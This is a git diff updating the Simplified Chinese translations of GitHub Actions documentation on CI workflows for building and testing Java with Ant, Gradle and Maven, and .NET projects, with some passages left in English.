+Browse the complete list of CI starter workflow offered by {% data variables.product.company_short %} in the {% ifversion fpt or ghec %}[actions/starter-workflows](https://github.com/actions/starter-workflows/tree/main/ci) repository{% else %} `actions/starter-workflows` repository on {% data variables.product.product_location %}{% endif %}.
 
-## Further reading
+## 延伸阅读
 
 {% ifversion fpt or ghec %}
-- "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)"
+- "[管理 {% data variables.product.prodname_actions %} 的计费](/billing/managing-billing-for-github-actions)"
 {% endif %}
diff --git a/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-java-with-ant.md b/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-java-with-ant.md
index e064761894..e8d3f02b0e 100644
--- a/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-java-with-ant.md
+++ b/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-java-with-ant.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing Java with Ant
-intro: You can create a continuous integration (CI) workflow in GitHub Actions to build and test your Java project with Ant.
+title: 使用 Ant 构建和测试 Java
+intro: 您可以在 GitHub Actions 中创建持续集成 (CI) 工作流程，以使用 Ant 构建和测试 Java 项目。
 redirect_from:
   - /actions/language-and-framework-guides/building-and-testing-java-with-ant
   - /actions/guides/building-and-testing-java-with-ant
@@ -14,39 +14,39 @@ topics:
   - CI
   - Java
   - Ant
-shortTitle: Build & test Java & Ant
+shortTitle: 构建和测试 Java & Ant
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## 简介
 
-This guide shows you how to create a workflow that performs continuous integration (CI) for your Java project using the Ant build system. The workflow you create will allow you to see when commits to a pull request cause build or test failures against your default branch; this approach can help ensure that your code is always healthy. You can extend your CI workflow to upload artifacts from a workflow run.
+本指南介绍如何使用 Ant 构建系统为 Java 项目创建执行持续集成 (CI) 的工作流程。 您创建的工作流程将允许您查看拉取请求提交何时会在默认分支上导致构建或测试失败； 这个方法可帮助确保您的代码始终是健康的。 您可以扩展 CI 工作流程以从工作流程运行上传构件。
 
 {% ifversion ghae %}
 {% data reusables.actions.self-hosted-runners-software %}
 {% else %}
-{% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with pre-installed software, which includes Java Development Kits (JDKs) and Ant. For a list of software and the pre-installed versions for JDK and Ant, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
+{% data variables.product.prodname_dotcom %} 托管的运行器有工具缓存预安装的软件，包括 Java Development Kits (JDKs) 和 Ant。 有关软件以及 JDK 和 Ant 预安装版本的列表，请参阅 [{% data variables.product.prodname_dotcom %} 托管的运行器的规格](/actions/reference/specifications-for-github-hosted-runners/#supported-software)。
 {% endif %}
 
-## Prerequisites
+## 基本要求
 
-You should be familiar with YAML and the syntax for {% data variables.product.prodname_actions %}. For more information, see:
-- "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)"
-- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
+您应该熟悉 YAML 和 {% data variables.product.prodname_actions %} 的语法。 更多信息请参阅：
+- "[{% data variables.product.prodname_actions %} 的工作流程语法](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)"
+- "[了解 {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
 
-We recommend that you have a basic understanding of Java and the Ant framework. For more information, see the [Apache Ant Manual](https://ant.apache.org/manual/).
+建议您对 Java 和 Ant 框架有个基本的了解。 更多信息请参阅“[Apache Ant 手册](https://ant.apache.org/manual/)”。
 
 {% data reusables.actions.enterprise-setup-prereq %}
 
-## Starting with an Ant workflow template
+## Using the Ant starter workflow
 
-{% data variables.product.prodname_dotcom %} provides an Ant workflow template that will work for most Ant-based Java projects. For more information, see the [Ant workflow template](https://github.com/actions/starter-workflows/blob/main/ci/ant.yml).
+{% data variables.product.prodname_dotcom %} provides an Ant starter workflow that will work for most Ant-based Java projects. For more information, see the [Ant starter workflow](https://github.com/actions/starter-workflows/blob/main/ci/ant.yml).
 
-To get started quickly, you can choose the preconfigured Ant template when you create a new workflow. For more information, see the "[{% data variables.product.prodname_actions %} quickstart](/actions/quickstart)."
+To get started quickly, you can choose the preconfigured Ant starter workflow when you create a new workflow. 更多信息请参阅“[{% data variables.product.prodname_actions %} 快速入门](/actions/quickstart)”。
 
-You can also add this workflow manually by creating a new file in the `.github/workflows` directory of your repository.
+您也可以通过在仓库的 `.github/workflow` 目录中创建新文件来手动添加此工作流程。
 
 {% raw %}
 ```yaml{:copy}
@@ -70,25 +70,25 @@ jobs:
 ```
 {% endraw %}
 
-This workflow performs the following steps:
+此工作流程执行以下步骤：
 
-1. The `checkout` step downloads a copy of your repository on the runner.
-2. The `setup-java` step configures the Java 11 JDK by Adoptium.
-3. The "Build with Ant" step runs the default target in your `build.xml` in non-interactive mode.
+1. `checkout` 步骤在运行器上下载仓库的副本。
+2. `setup-java` 步骤配置 Adoptium 的 Java 11 JDK。
+3. “使用 Ant 构建”步骤以非交互模式运行 `build.xml` 中的默认目标。
 
-The default workflow templates are excellent starting points when creating your build and test workflow, and you can customize the template to suit your project’s needs.
+The default starter workflows are excellent starting points when creating your build and test workflow, and you can customize the starter workflow to suit your project’s needs.
 
 {% data reusables.github-actions.example-github-runner %}
 
 {% data reusables.github-actions.java-jvm-architecture %}
 
-## Building and testing your code
+## 构建和测试代码
 
-You can use the same commands that you use locally to build and test your code.
+您可以使用与本地相同的命令来构建和测试代码。
 
-The starter workflow will run the default target specified in your _build.xml_ file.  Your default target will commonly be set to build classes, run tests and package classes into their distributable format, for example, a JAR file.
+初学者工作流程将运行 _build.xml_ 文件中指定的默认目标。  默认目标通常设置为将类、运行测试和包类设置为其可分发格式，例如 JAR 文件。
 
-If you use different commands to build your project, or you want to run a different target, you can specify those. For example, you may want to run the `jar` target that's configured in your _build-ci.xml_ file.
+如果使用不同的命令来构建项目，或者想要运行不同的目标，则可以指定这些命令。 例如，您可能想要运行在 _build-ci.xml_ 文件中配置的 `jar` 目标。
 
 {% raw %}
 ```yaml{:copy}
@@ -103,11 +103,11 @@ steps:
 ```
 {% endraw %}
 
-## Packaging workflow data as artifacts
+## 将工作流数据打包为构件
 
-After your build has succeeded and your tests have passed, you may want to upload the resulting Java packages as a build artifact. This will store the built packages as part of the workflow run, and allow you to download them. Artifacts can help you test and debug pull requests in your local environment before they're merged. For more information, see "[Persisting workflow data using artifacts](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
+构建成功且测试通过后，您可能想要上传生成的 Java 包作为构件。 这会将构建的包存储为工作流程运行的一部分，并允许您下载它们。 构件可帮助您在拉取请求合并之前在本地环境中测试并调试它们。 更多信息请参阅“[使用构件持久化工作流程](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)”。
 
-Ant will usually create output files like JARs, EARs, or WARs in the `build/jar` directory. You can upload the contents of that directory using the `upload-artifact` action.
+Ant 通常会在 `build/jar` 目录中创建 JAR、EAR 或 WAR 等输出文件。 您可以使用 `upload-artifact` 操作上传该目录的内容。
 
 {% raw %}
 ```yaml{:copy}
@@ -117,7 +117,7 @@ steps:
     with:
       java-version: '11'
       distribution: 'adopt'
-  
+
   - run: ant -noinput -buildfile build.xml
   - uses: actions/upload-artifact@v2
     with:
diff --git a/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-java-with-gradle.md b/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-java-with-gradle.md
index 74fb4ffb74..5c05717ad7 100644
--- a/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-java-with-gradle.md
+++ b/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-java-with-gradle.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing Java with Gradle
-intro: You can create a continuous integration (CI) workflow in GitHub Actions to build and test your Java project with Gradle.
+title: 使用 Gradle 构建和测试 Java
+intro: 您可以在 GitHub Actions 中创建持续集成 (CI) 工作流程，以使用 Gradle 构建和测试 Java 项目。
 redirect_from:
   - /actions/language-and-framework-guides/building-and-testing-java-with-gradle
   - /actions/guides/building-and-testing-java-with-gradle
@@ -14,39 +14,39 @@ topics:
   - CI
   - Java
   - Gradle
-shortTitle: Build & test Java & Gradle
+shortTitle: 构建和测试 Java & Gradle
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## 简介
 
-This guide shows you how to create a workflow that performs continuous integration (CI) for your Java project using the Gradle build system. The workflow you create will allow you to see when commits to a pull request cause build or test failures against your default branch; this approach can help ensure that your code is always healthy. You can extend your CI workflow to cache files and upload artifacts from a workflow run.
+本指南介绍如何使用 Gradle 构建系统为 Java 项目创建执行持续集成 (CI) 的工作流程。 您创建的工作流程将允许您查看拉取请求提交何时会在默认分支上导致构建或测试失败； 这个方法可帮助确保您的代码始终是健康的。 您可以扩展 CI 工作流程以缓存文件并且从工作流程运行上传构件。
 
 {% ifversion ghae %}
 {% data reusables.actions.self-hosted-runners-software %}
 {% else %}
-{% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with pre-installed software, which includes Java Development Kits (JDKs) and Gradle. For a list of software and the pre-installed versions for JDK and Gradle, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
+{% data variables.product.prodname_dotcom %} 托管的运行器有工具缓存预安装的软件，包括 Java Development Kits (JDKs) 和 Gradle。 有关软件以及 JDK 和 Gradle 预安装版本的列表，请参阅 [{% data variables.product.prodname_dotcom %} 托管的运行器的规格](/actions/reference/specifications-for-github-hosted-runners/#supported-software)。
 {% endif %}
 
-## Prerequisites
+## 基本要求
 
-You should be familiar with YAML and the syntax for {% data variables.product.prodname_actions %}. For more information, see:
-- "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)"
-- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
+您应该熟悉 YAML 和 {% data variables.product.prodname_actions %} 的语法。 更多信息请参阅：
+- "[{% data variables.product.prodname_actions %} 的工作流程语法](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)"
+- "[了解 {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
 
-We recommend that you have a basic understanding of Java and the Gradle framework. For more information, see [Getting Started](https://docs.gradle.org/current/userguide/getting_started.html) in the Gradle documentation.
+建议您对 Java 和 Gradle 框架有个基本的了解。 更多信息请参阅 Gradle 文档中的[入门指南](https://docs.gradle.org/current/userguide/getting_started.html)。
 
 {% data reusables.actions.enterprise-setup-prereq %}
 
-## Starting with a Gradle workflow template
+## Using the Gradle starter workflow
 
-{% data variables.product.prodname_dotcom %} provides a Gradle workflow template that will work for most Gradle-based Java projects. For more information, see the [Gradle workflow template](https://github.com/actions/starter-workflows/blob/main/ci/gradle.yml).
+{% data variables.product.prodname_dotcom %} provides a Gradle starter workflow that will work for most Gradle-based Java projects. For more information, see the [Gradle starter workflow](https://github.com/actions/starter-workflows/blob/main/ci/gradle.yml).
 
-To get started quickly, you can choose the preconfigured Gradle template when you create a new workflow. For more information, see the "[{% data variables.product.prodname_actions %} quickstart](/actions/quickstart)."
+To get started quickly, you can choose the preconfigured Gradle starter workflow when you create a new workflow. 更多信息请参阅“[{% data variables.product.prodname_actions %} 快速入门](/actions/quickstart)”。
 
-You can also add this workflow manually by creating a new file in the `.github/workflows` directory of your repository.
+您也可以通过在仓库的 `.github/workflow` 目录中创建新文件来手动添加此工作流程。
 
 ```yaml{:copy}
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -72,26 +72,26 @@ jobs:
         run: ./gradlew build
 ```
 
-This workflow performs the following steps:
+此工作流程执行以下步骤：
 
-1. The `checkout` step downloads a copy of your repository on the runner.
-2. The `setup-java` step configures the Java 11 JDK by Adoptium.
-3. The "Validate Gradle wrapper" step validates the checksums of Gradle Wrapper JAR files present in the source tree.
-4. The "Build with Gradle" step runs the `gradlew` wrapper script to ensure that your code builds, tests pass, and a package can be created.
+1. `checkout` 步骤在运行器上下载仓库的副本。
+2. `setup-java` 步骤配置 Adoptium 的 Java 11 JDK。
+3. “验证 Gradle 包装器”步骤验证源树中存在的 Gradle Wrapper JAR 文件的校验和。
+4. “使用 Gradle 构建”步骤运行 `gradlew` wrapper 脚本以确保可以创建您的代码构建、测试通过和包。
 
-The default workflow templates are excellent starting points when creating your build and test workflow, and you can customize the template to suit your project’s needs.
+The default starter workflows are excellent starting points when creating your build and test workflow, and you can customize the starter workflow to suit your project’s needs.
 
 {% data reusables.github-actions.example-github-runner %}
 
 {% data reusables.github-actions.java-jvm-architecture %}
 
-## Building and testing your code
+## 构建和测试代码
 
-You can use the same commands that you use locally to build and test your code.
+您可以使用与本地相同的命令来构建和测试代码。
 
-The starter workflow will run the `build` task by default. In the default Gradle configuration, this command will download dependencies, build classes, run tests, and package classes into their distributable format, for example, a JAR file.
+初学者工作流程默认将运行 `build` 任务。 在默认的 Gradle 配置中，此命令将下载依赖项、构建类别、运行测试并将类别打包为可分发格式，如 JAR 文件。
 
-If you use different commands to build your project, or you want to use a different task, you can specify those. For example, you may want to run the `package` task that's configured in your _ci.gradle_ file.
+如果使用不同的命令来构建项目，或者想要使用不同的任务，则可以指定这些命令。 例如，您可能想要运行在 _ci.gradle_ 文件中配置的 `package` 任务。
 
 {% raw %}
 ```yaml{:copy}
@@ -108,9 +108,9 @@ steps:
 ```
 {% endraw %}
 
-## Caching dependencies
+## 缓存依赖项
 
-When using {% data variables.product.prodname_dotcom %}-hosted runners, you can cache your dependencies to speed up your workflow runs. After a successful run, your local Gradle package cache will be stored on GitHub Actions infrastructure. In future workflow runs, the cache will be restored so that dependencies don't need to be downloaded from remote package repositories. You can cache dependencies simply using the [`setup-java` action](https://github.com/marketplace/actions/setup-java-jdk) or can use [`cache` action](https://github.com/actions/cache) for custom and more advanced configuration. 
+使用 {% data variables.product.prodname_dotcom %} 托管的运行器时，您可以缓存依赖项以加速工作流程运行。 运行成功后，您的本地 Gradle 缓存将存储在 GitHub Actions 基础架构中。 在未来的工作流程运行中，缓存将会恢复，因此不需要从远程包仓库下载依赖项。 您可以简单地使用 [`setup-java` 操作](https://github.com/marketplace/actions/setup-java-jdk)缓存依赖项，也可使用 [`cache` 操作](https://github.com/actions/cache)进行自定义和更高级的配置。
 
 {% raw %}
 ```yaml{:copy}
@@ -135,13 +135,13 @@ steps:
 ```
 {% endraw %}
 
-This workflow will save the contents of your local Gradle package cache, located in the `.gradle/caches` and `.gradle/wrapper` directories of the runner's home directory. The cache key will be the hashed contents of the gradle build files (including the Gradle wrapper properties file), so any changes to them will invalidate the cache.
+此工作流程将保存本地 Gradle 包缓存的内容，位于运行器主目录的 `.gradle/caches` 和 `.gradle/wrapper` 目录中。 缓存键将是 gradle 构建文件（包括 Gradle wrapper 属性文件）的哈希内容，因此对它们的任何更改都将使缓存无效。
 
-## Packaging workflow data as artifacts
+## 将工作流数据打包为构件
 
-After your build has succeeded and your tests have passed, you may want to upload the resulting Java packages as a build artifact. This will store the built packages as part of the workflow run, and allow you to download them. Artifacts can help you test and debug pull requests in your local environment before they're merged. For more information, see "[Persisting workflow data using artifacts](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
+构建成功且测试通过后，您可能想要上传生成的 Java 包作为构件。 这会将构建的包存储为工作流程运行的一部分，并允许您下载它们。 构件可帮助您在拉取请求合并之前在本地环境中测试并调试它们。 更多信息请参阅“[使用构件持久化工作流程](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)”。
 
-Gradle will usually create output files like JARs, EARs, or WARs in the `build/libs` directory. You can upload the contents of that directory using the `upload-artifact` action.
+Gradle 通常会在 `build/libs` 目录中创建 JAR、EAR 或 WAR 等输出文件。 您可以使用 `upload-artifact` 操作上传该目录的内容。
 
 {% raw %}
 ```yaml{:copy}
diff --git a/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-java-with-maven.md b/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-java-with-maven.md
index a8403ce752..0d05bba37a 100644
--- a/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-java-with-maven.md
+++ b/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-java-with-maven.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing Java with Maven
-intro: You can create a continuous integration (CI) workflow in GitHub Actions to build and test your Java project with Maven.
+title: 使用 Maven 构建和测试 Java
+intro: 您可以在 GitHub Actions 中创建持续集成 (CI) 工作流程，以使用 Maven 构建和测试 Java 项目。
 redirect_from:
   - /actions/language-and-framework-guides/building-and-testing-java-with-maven
   - /actions/guides/building-and-testing-java-with-maven
@@ -14,39 +14,39 @@ topics:
   - CI
   - Java
   - Maven
-shortTitle: Build & test Java with Maven
+shortTitle: 使用 Maven 构建和测试 Java
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## 简介
 
-This guide shows you how to create a workflow that performs continuous integration (CI) for your Java project using the Maven software project management tool. The workflow you create will allow you to see when commits to a pull request cause build or test failures against your default branch; this approach can help ensure that your code is always healthy. You can extend your CI workflow to cache files and upload artifacts from a workflow run.
+本指南介绍如何使用 Maven 软件项目管理工具为 Java 项目创建执行持续集成 (CI) 的工作流程。 您创建的工作流程将允许您查看拉取请求提交何时会在默认分支上导致构建或测试失败； 这个方法可帮助确保您的代码始终是健康的。 您可以扩展 CI 工作流程以缓存文件并且从工作流程运行上传构件。
 
 {% ifversion ghae %}
 {% data reusables.actions.self-hosted-runners-software %}
 {% else %}
-{% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with pre-installed software, which includes Java Development Kits (JDKs) and Maven. For a list of software and the pre-installed versions for JDK and Maven, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
+{% data variables.product.prodname_dotcom %} 托管的运行器有工具缓存预安装的软件，包括 Java Development Kits (JDKs) 和 Maven。 有关软件以及 JDK 和 Maven 预安装版本的列表，请参阅 [{% data variables.product.prodname_dotcom %} 托管的运行器的规格](/actions/reference/specifications-for-github-hosted-runners/#supported-software)。
 {% endif %}
 
-## Prerequisites
+## 基本要求
 
-You should be familiar with YAML and the syntax for {% data variables.product.prodname_actions %}. For more information, see:
-- "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)"
-- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
+您应该熟悉 YAML 和 {% data variables.product.prodname_actions %} 的语法。 更多信息请参阅：
+- "[{% data variables.product.prodname_actions %} 的工作流程语法](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)"
+- "[了解 {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
 
-We recommend that you have a basic understanding of Java and the Maven framework. For more information, see the [Maven Getting Started Guide](http://maven.apache.org/guides/getting-started/index.html) in the Maven documentation.
+建议您对 Java 和 Maven 框架有个基本的了解。 更多信息请参阅 Maven 文档中的 [Maven 入门指南](http://maven.apache.org/guides/getting-started/index.html)。
 
 {% data reusables.actions.enterprise-setup-prereq %}
 
-## Starting with a Maven workflow template
+## Using the Maven starter workflow
 
-{% data variables.product.prodname_dotcom %} provides a Maven workflow template that will work for most Maven-based Java projects. For more information, see the [Maven workflow template](https://github.com/actions/starter-workflows/blob/main/ci/maven.yml).
+{% data variables.product.prodname_dotcom %} provides a Maven starter workflow that will work for most Maven-based Java projects. For more information, see the [Maven starter workflow](https://github.com/actions/starter-workflows/blob/main/ci/maven.yml).
 
-To get started quickly, you can choose the preconfigured Maven template when you create a new workflow. For more information, see the "[{% data variables.product.prodname_actions %} quickstart](/actions/quickstart)."
+To get started quickly, you can choose the preconfigured Maven starter workflow when you create a new workflow. 更多信息请参阅“[{% data variables.product.prodname_actions %} 快速入门](/actions/quickstart)”。
 
-You can also add this workflow manually by creating a new file in the `.github/workflows` directory of your repository.
+您也可以通过在仓库的 `.github/workflow` 目录中创建新文件来手动添加此工作流程。
 
 {% raw %}
 ```yaml{:copy}
@@ -70,25 +70,25 @@ jobs:
 ```
 {% endraw %}
 
-This workflow performs the following steps:
+此工作流程执行以下步骤：
 
-1. The `checkout` step downloads a copy of your repository on the runner.
-2. The `setup-java` step configures the Java 11 JDK by Adoptium.
-3. The "Build with Maven" step runs the Maven `package` target in non-interactive mode to ensure that your code builds, tests pass, and a package can be created.
+1. `checkout` 步骤在运行器上下载仓库的副本。
+2. `setup-java` 步骤配置 Adoptium 的 Java 11 JDK。
+3. “使用 Maven 构建”步骤以非交互模式运行 Maven `package` 目标，以确保创建代码版本、测试通行证和软件包。
 
-The default workflow templates are excellent starting points when creating your build and test workflow, and you can customize the template to suit your project’s needs.
+The default starter workflows are excellent starting points when creating your build and test workflow, and you can customize the starter workflow to suit your project’s needs.
 
 {% data reusables.github-actions.example-github-runner %}
 
 {% data reusables.github-actions.java-jvm-architecture %}
 
-## Building and testing your code
+## 构建和测试代码
 
-You can use the same commands that you use locally to build and test your code.
+您可以使用与本地相同的命令来构建和测试代码。
 
-The starter workflow will run the `package` target by default. In the default Maven configuration, this command will download dependencies, build classes, run tests, and package classes into their distributable format, for example, a JAR file.
+初学者工作流程默认将运行 `package` 目标。 在默认的 Maven 配置中，此命令将下载依赖项、构建类别、运行测试并将类别打包为可分发格式，如 JAR 文件。
 
-If you use different commands to build your project, or you want to use a different target, you can specify those. For example, you may want to run the `verify` target that's configured in a _pom-ci.xml_ file.
+如果使用不同的命令来构建项目，或者想要使用不同的目标，则可以指定这些命令。 例如，您可能想要运行在 _pom-ci.xml_ 文件中配置的 `verify` 目标。
 
 {% raw %}
 ```yaml{:copy}
@@ -103,9 +103,9 @@ steps:
 ```
 {% endraw %}
 
-## Caching dependencies
+## 缓存依赖项
 
-When using {% data variables.product.prodname_dotcom %}-hosted runners, you can cache your dependencies to speed up your workflow runs. After a successful run, your local Maven repository will be stored on GitHub Actions infrastructure. In future workflow runs, the cache will be restored so that dependencies don't need to be downloaded from remote Maven repositories. You can cache dependencies simply using the [`setup-java` action](https://github.com/marketplace/actions/setup-java-jdk) or can use [`cache` action](https://github.com/actions/cache) for custom and more advanced configuration. 
+使用 {% data variables.product.prodname_dotcom %} 托管的运行器时，您可以缓存依赖项以加速工作流程运行。 运行成功后，您的本地 Maven 仓库将存储在 GitHub Actions 基础架构中。 在未来的工作流程运行中，缓存将会恢复，因此不需要从远程 Maven 仓库下载依赖项。 您可以简单地使用 [`setup-java` 操作](https://github.com/marketplace/actions/setup-java-jdk)缓存依赖项，也可使用 [`cache` 操作](https://github.com/actions/cache)进行自定义和更高级的配置。
 
 {% raw %}
 ```yaml{:copy}
@@ -122,13 +122,13 @@ steps:
 ```
 {% endraw %}
 
-This workflow will save the contents of your local Maven repository, located in the `.m2` directory of the runner's home directory. The cache key will be the hashed contents of _pom.xml_, so changes to _pom.xml_ will invalidate the cache.
+此工作流程将保存本地 Maven 存储库的内容，位于运行器主目录的 `.m2` 目录。 缓存密钥是 _pom.xml_ 的哈希内容，因此更改 _pom.xml_ 将使缓存失效。
 
-## Packaging workflow data as artifacts
+## 将工作流数据打包为构件
 
-After your build has succeeded and your tests have passed, you may want to upload the resulting Java packages as a build artifact. This will store the built packages as part of the workflow run, and allow you to download them. Artifacts can help you test and debug pull requests in your local environment before they're merged. For more information, see "[Persisting workflow data using artifacts](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
+构建成功且测试通过后，您可能想要上传生成的 Java 包作为构件。 这会将构建的包存储为工作流程运行的一部分，并允许您下载它们。 构件可帮助您在拉取请求合并之前在本地环境中测试并调试它们。 更多信息请参阅“[使用构件持久化工作流程](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)”。
 
-Maven will usually create output files like JARs, EARs, or WARs in the `target` directory. To upload those as artifacts, you can copy them into a new directory that contains artifacts to upload. For example, you can create a directory called `staging`. Then you can upload the contents of that directory using the `upload-artifact` action.
+Maven 通常会在 `target` 目录中创建 JAR、EAR 或 WAR 等输出文件。 要将这些项目上传为构件，可以将它们复制到包含要上传的构件的新目录中。 例如，您可以创建一个名为 `staging` 的目录。 然后您可以使用 `upload-artifact` 操作上传该目录的内容。
 
 {% raw %}
 ```yaml{:copy}
diff --git a/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-net.md b/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-net.md
index ba114a3e74..b6f8132c1d 100644
--- a/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-net.md
+++ b/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-net.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing .NET
-intro: You can create a continuous integration (CI) workflow to build and test your .NET project.
+title: 构建和测试 .NET
+intro: 您可以创建持续集成 (CI) 工作流程来构建和测试您的 .NET 项目。
 redirect_from:
   - /actions/guides/building-and-testing-net
 versions:
@@ -8,31 +8,31 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Build & test .NET
+shortTitle: 构建和测试 .NET
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## 简介
 
-This guide shows you how to build, test, and publish a .NET package.
+本指南介绍如何构建、测试和发布 .NET 包。
 
 {% ifversion ghae %} To build and test your .NET project on {% data variables.product.prodname_ghe_managed %}, the .NET Core SDK is required. {% data reusables.actions.self-hosted-runners-software %}
-{% else %} {% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with preinstalled software, which includes the .NET Core SDK. For a full list of up-to-date software and the preinstalled versions of .NET Core SDK, see [software installed on {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners).
+{% else %} {% data variables.product.prodname_dotcom %} 托管的运行器有工具缓存预安装的软件，包括 .NET Core SDK。 有关最新版软件以及 .NET Core SDK 预安装版本的完整列表，请参阅 [{% data variables.product.prodname_dotcom %} 自托管运行器上安装的软件](/actions/reference/specifications-for-github-hosted-runners)。
 {% endif %}
 
-## Prerequisites
+## 基本要求
 
-You should already be familiar with YAML syntax and how it's used with {% data variables.product.prodname_actions %}. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)."
+您应该已经熟悉 YAML 语法及其如何与 {% data variables.product.prodname_actions %} 结合使用。 更多信息请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)”。
 
-We recommend that you have a basic understanding of the .NET Core SDK. For more information, see [Getting started with .NET](https://dotnet.microsoft.com/learn).
+建议您对 .NET Core SDK 有个基本的了解。 更多信息请参阅“[开始使用 .NET](https://dotnet.microsoft.com/learn)”。
 
-## Starting with the .NET workflow template
+## Using the .NET starter workflow
 
-{% data variables.product.prodname_dotcom %} provides a .NET workflow template that should work for most .NET projects, and this guide includes examples that show you how to customize this template. For more information, see the [.NET workflow template](https://github.com/actions/setup-dotnet).
+{% data variables.product.prodname_dotcom %} provides a .NET starter workflow that should work for most .NET projects, and this guide includes examples that show you how to customize this starter workflow. For more information, see the [.NET starter workflow](https://github.com/actions/setup-dotnet).
 
-To get started quickly, add the template to the `.github/workflows` directory of your repository.
+To get started quickly, add the starter workflow to the `.github/workflows` directory of your repository.
 
 {% raw %}
 ```yaml
@@ -63,13 +63,13 @@ jobs:
 ```
 {% endraw %}
 
-## Specifying a .NET version
+## 指定 .NET 版本
 
-To use a preinstalled version of the .NET Core SDK on a {% data variables.product.prodname_dotcom %}-hosted runner, use the `setup-dotnet` action. This action finds a specific version of .NET from the tools cache on each runner, and adds the necessary binaries to `PATH`. These changes will persist for the remainder of the job.
+要在 {% data variables.product.prodname_dotcom %} 托管的运行器上使用预安装的 .NET Core SDK 版本，请使用 `setup-dotnet` 操作。 此操作从每个运行器上的工具缓存中查找特定版本的 .NET，并将必要的二进制文件添加到 `PATH`。 这些更改将持续用于作业的其余部分。
 
-The `setup-dotnet` action is the recommended way of using .NET with {% data variables.product.prodname_actions %}, because it ensures consistent behavior across different runners and different versions of .NET. If you are using a self-hosted runner, you must install .NET and add it to `PATH`. For more information, see the [`setup-dotnet`](https://github.com/marketplace/actions/setup-net-core-sdk) action.
+`setup-dotnet` 操作是 .NET 与 {% data variables.product.prodname_actions %} 结合使用时的推荐方式，因为它能确保不同运行器和不同版本的 .NET 行为一致。 如果使用自托管运行器，则必须安装 .NET 并将其添加到 `PATH`。 更多信息请参阅 [`setup-dotnet`](https://github.com/marketplace/actions/setup-net-core-sdk) 操作。
 
-### Using multiple .NET versions
+### 使用多个 .NET 版本
 
 {% raw %}
 ```yaml
@@ -97,9 +97,9 @@ jobs:
 ```
 {% endraw %}
 
-### Using a specific .NET version
+### 使用特定的 .NET 版本
 
-You can configure your job to use a specific version of .NET, such as `3.1.3`. Alternatively, you can use semantic version syntax to get the latest minor release. This example uses the latest minor release of .NET 3.
+您可以将作业配置为使用 .NET 的特定版本，例如 3.1.3 `3.1.3`。 或者，您也可以使用语义版本语法来获得最新的次要版本。 此示例使用 .NET 3 最新的次要版本。
 
 {% raw %}
 ```yaml
@@ -111,9 +111,9 @@ You can configure your job to use a specific version of .NET, such as `3.1.3`. A
 ```
 {% endraw %}
 
-## Installing dependencies
+## 安装依赖项
 
